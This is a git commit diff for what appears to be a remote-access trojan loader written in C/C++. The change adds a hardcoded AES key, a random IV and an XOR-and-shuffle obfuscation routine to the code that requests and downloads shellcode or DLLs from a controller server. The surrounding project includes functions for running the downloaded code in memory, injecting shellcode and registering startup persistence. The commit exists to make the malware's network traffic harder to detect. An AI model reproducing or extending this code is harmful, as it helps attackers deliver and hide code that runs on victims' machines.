Enhance(client): Add AES encryption for DLL transmission
This commit is contained in:
1 parent
082860de8f
commit
830dcf1672
5 files changed
+82
No files matched your search
@@ -164,6 +164,7 @@
|
|||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\common\aes.c" />
|
||||||
<ClCompile Include="Loader.cpp" />
|
<ClCompile Include="Loader.cpp" />
|
||||||
<ClCompile Include="MemoryModule.c" />
|
<ClCompile Include="MemoryModule.c" />
|
||||||
<ClCompile Include="reg_startup.c" />
|
<ClCompile Include="reg_startup.c" />
|
||||||
@@ -173,6 +174,7 @@
|
|||||||
<ClCompile Include="test.cpp" />
|
<ClCompile Include="test.cpp" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\aes.h" />
|
||||||
<ClInclude Include="auto_start.h" />
|
<ClInclude Include="auto_start.h" />
|
||||||
<ClInclude Include="MemoryModule.h" />
|
<ClInclude Include="MemoryModule.h" />
|
||||||
<ClInclude Include="reg_startup.h" />
|
<ClInclude Include="reg_startup.h" />
|
||||||
|
|||||||
@@ -153,8 +153,12 @@
|
|||||||
</Link>
|
</Link>
|
||||||
</ItemDefinitionGroup>
|
</ItemDefinitionGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
|
<ClCompile Include="..\common\aes.c" />
|
||||||
<ClCompile Include="main.c" />
|
<ClCompile Include="main.c" />
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\aes.h" />
|
||||||
|
</ItemGroup>
|
||||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||||
<ImportGroup Label="ExtensionTargets">
|
<ImportGroup Label="ExtensionTargets">
|
||||||
</ImportGroup>
|
</ImportGroup>
|
||||||
|
|||||||
@@ -18,5 +18,13 @@
|
|||||||
<ClCompile Include="main.c">
|
<ClCompile Include="main.c">
|
||||||
<Filter>源文件</Filter>
|
<Filter>源文件</Filter>
|
||||||
</ClCompile>
|
</ClCompile>
|
||||||
|
<ClCompile Include="..\common\aes.c">
|
||||||
|
<Filter>源文件</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="..\common\aes.h">
|
||||||
|
<Filter>头文件</Filter>
|
||||||
|
</ClInclude>
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
</Project>
|
</Project>
|
||||||
@@ -9,6 +9,7 @@
|
|||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
#include "../common/hash.h"
|
#include "../common/hash.h"
|
||||||
|
#include "../common/aes.h"
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#define Mprintf printf
|
#define Mprintf printf
|
||||||
@@ -69,11 +70,36 @@ PkgHeader MakePkgHeader(int originLen)
|
|||||||
{
|
{
|
||||||
PkgHeader header = { 0 };
|
PkgHeader header = { 0 };
|
||||||
memcpy(header.flag, "Hello?", 6);
|
memcpy(header.flag, "Hello?", 6);
|
||||||
|
header.flag[7] = 1;
|
||||||
header.originLen = originLen;
|
header.originLen = originLen;
|
||||||
header.totalLen = sizeof(PkgHeader) + originLen;
|
header.totalLen = sizeof(PkgHeader) + originLen;
|
||||||
return header;
|
return header;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
static void gen_aes_bytes(BYTE* out) {
|
||||||
|
for (int i = 0; i < 16; i++) {
|
||||||
|
out[i] = (BYTE)(rand() & 0xFF);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint16_t pseudo_random(int index) {
|
||||||
|
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void encrypt(unsigned char* data, int len) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||||
|
}
|
||||||
|
for (int round = 0; round < 2; ++round) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
int j = pseudo_random(i + round * 100) % len;
|
||||||
|
unsigned char tmp = data[i];
|
||||||
|
data[i] = data[j];
|
||||||
|
data[j] = tmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
int GetIPAddress(const char* hostName, char* outIpBuffer, int bufferSize)
|
||||||
{
|
{
|
||||||
struct sockaddr_in sa = { 0 };
|
struct sockaddr_in sa = { 0 };
|
||||||
@@ -306,11 +332,13 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
|||||||
connectFailCount = 0;
|
connectFailCount = 0;
|
||||||
|
|
||||||
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
char command[64] = { 210, sizeof(void*) == 8, 0, IsRelease, __DATE__ };
|
||||||
|
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||||
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
char req[sizeof(PkgHeader) + sizeof(command)] = { 0 };
|
||||||
memcpy(command + 32, hash, 32);
|
memcpy(command + 32, hash, 32);
|
||||||
PkgHeader h = MakePkgHeader(sizeof(command));
|
PkgHeader h = MakePkgHeader(sizeof(command));
|
||||||
memcpy(req, &h, sizeof(PkgHeader));
|
memcpy(req, &h, sizeof(PkgHeader));
|
||||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||||
|
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||||
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
int bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||||
if (bytesSent != sizeof(req)) {
|
if (bytesSent != sizeof(req)) {
|
||||||
closesocket(clientSocket);
|
closesocket(clientSocket);
|
||||||
@@ -353,6 +381,12 @@ const char* ReceiveShellcode(const char* sIP, int serverPort, int* sizeOut)
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
unsigned char* ptr = buffer + sizeof(PkgHeader);
|
||||||
|
struct AES_ctx ctx; // AES Decode
|
||||||
|
static const unsigned char aes_key[16] = {
|
||||||
|
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||||
|
};
|
||||||
|
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||||
|
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||||
int size = 0;
|
int size = 0;
|
||||||
BYTE cmd = ptr[0], type = ptr[1];
|
BYTE cmd = ptr[0], type = ptr[1];
|
||||||
memcpy(&size, ptr + 2, sizeof(int));
|
memcpy(&size, ptr + 2, sizeof(int));
|
||||||
|
|||||||
@@ -78,11 +78,36 @@ typedef struct PkgHeader {
|
|||||||
{
|
{
|
||||||
memset(flag, 0, sizeof(flag));
|
memset(flag, 0, sizeof(flag));
|
||||||
memcpy(flag, "Hello?", 6);
|
memcpy(flag, "Hello?", 6);
|
||||||
|
flag[7] = 1;
|
||||||
originLen = size;
|
originLen = size;
|
||||||
totalLen = sizeof(PkgHeader) + size;
|
totalLen = sizeof(PkgHeader) + size;
|
||||||
}
|
}
|
||||||
} PkgHeader;
|
} PkgHeader;
|
||||||
|
|
||||||
|
static void gen_aes_bytes(BYTE* out) {
|
||||||
|
for (int i = 0; i < 16; i++) {
|
||||||
|
out[i] = (BYTE)(rand() & 0xFF);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
static uint16_t pseudo_random(int index) {
|
||||||
|
return (uint16_t)((1 ^ (index * 251 + 97)) * 733);
|
||||||
|
}
|
||||||
|
|
||||||
|
static void encrypt(unsigned char* data, int len) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
data[i] ^= (unsigned char)((i * 13) ^ ((i << 1) ^ 1));
|
||||||
|
}
|
||||||
|
for (int round = 0; round < 2; ++round) {
|
||||||
|
for (int i = 0; i < len; ++i) {
|
||||||
|
int j = pseudo_random(i + round * 100) % len;
|
||||||
|
unsigned char tmp = data[i];
|
||||||
|
data[i] = data[j];
|
||||||
|
data[j] = tmp;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
typedef int (*DllCallback)(BYTE* dll, int size);
|
typedef int (*DllCallback)(BYTE* dll, int size);
|
||||||
|
|
||||||
// Memory DLL runner.
|
// Memory DLL runner.
|
||||||
@@ -166,10 +191,12 @@ public:
|
|||||||
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
char command[64] = { SOCKET_DLLLOADER, sizeof(void*) == 8, m_payloadType, 1 };
|
||||||
#endif
|
#endif
|
||||||
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
memcpy(command + 4, __DATE__, 11); // 发送版本日期用于大 DLL 检查
|
||||||
|
gen_aes_bytes((BYTE*)command + 16); // AES IV
|
||||||
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
memcpy(command + 32, hash.c_str(), min(32, hash.length()));
|
||||||
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
char req[sizeof(PkgHeader) + sizeof(command)] = {};
|
||||||
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
memcpy(req, &PkgHeader(sizeof(command)), sizeof(PkgHeader));
|
||||||
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
memcpy(req + sizeof(PkgHeader), command, sizeof(command));
|
||||||
|
encrypt((BYTE*)req + sizeof(PkgHeader), sizeof(command)); // Hello?
|
||||||
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
auto bytesSent = send(clientSocket, req, sizeof(req), 0);
|
||||||
if (bytesSent != sizeof(req)) {
|
if (bytesSent != sizeof(req)) {
|
||||||
closesocket(clientSocket);
|
closesocket(clientSocket);
|
||||||
@@ -206,6 +233,12 @@ public:
|
|||||||
continue;
|
continue;
|
||||||
}
|
}
|
||||||
char* ptr = buffer + sizeof(PkgHeader);
|
char* ptr = buffer + sizeof(PkgHeader);
|
||||||
|
struct AES_ctx ctx; // AES Decode
|
||||||
|
static const unsigned char aes_key[16] = {
|
||||||
|
0x5A, 0xC3, 0x17, 0xF0, 0x89, 0xB6, 0x4E, 0x7D, 0x1A, 0x22, 0x9F, 0xC8, 0xD3, 0xE6, 0x73, 0xB1
|
||||||
|
};
|
||||||
|
AES_init_ctx_iv(&ctx, aes_key, (BYTE*)command + 16);
|
||||||
|
AES_CBC_decrypt_buffer(&ctx, (BYTE*)ptr, header->originLen);
|
||||||
BYTE cmd = ptr[0], type = ptr[1];
|
BYTE cmd = ptr[0], type = ptr[1];
|
||||||
size = 0;
|
size = 0;
|
||||||
memcpy(&size, ptr + 2, sizeof(int));
|
memcpy(&size, ptr + 2, sizeof(int));
|
||||||
@@ -315,6 +348,7 @@ int InjectShellcode(BYTE* buf, int len) {
|
|||||||
// 如果配置文件不存在就从命令行中获取IP和端口.
|
// 如果配置文件不存在就从命令行中获取IP和端口.
|
||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
|
srand((unsigned int)time(NULL));
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc > 1 ? argv[1] : "", argc);
|
||||||
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
bool runCmd = (argc > 1 && strncmp(argv[1], "-cmd=", 5) == 0), isService = false;
|
||||||
if (!runCmd) {
|
if (!runCmd) {
|
||||||
|
|||||||
Reference in new issue
Block a user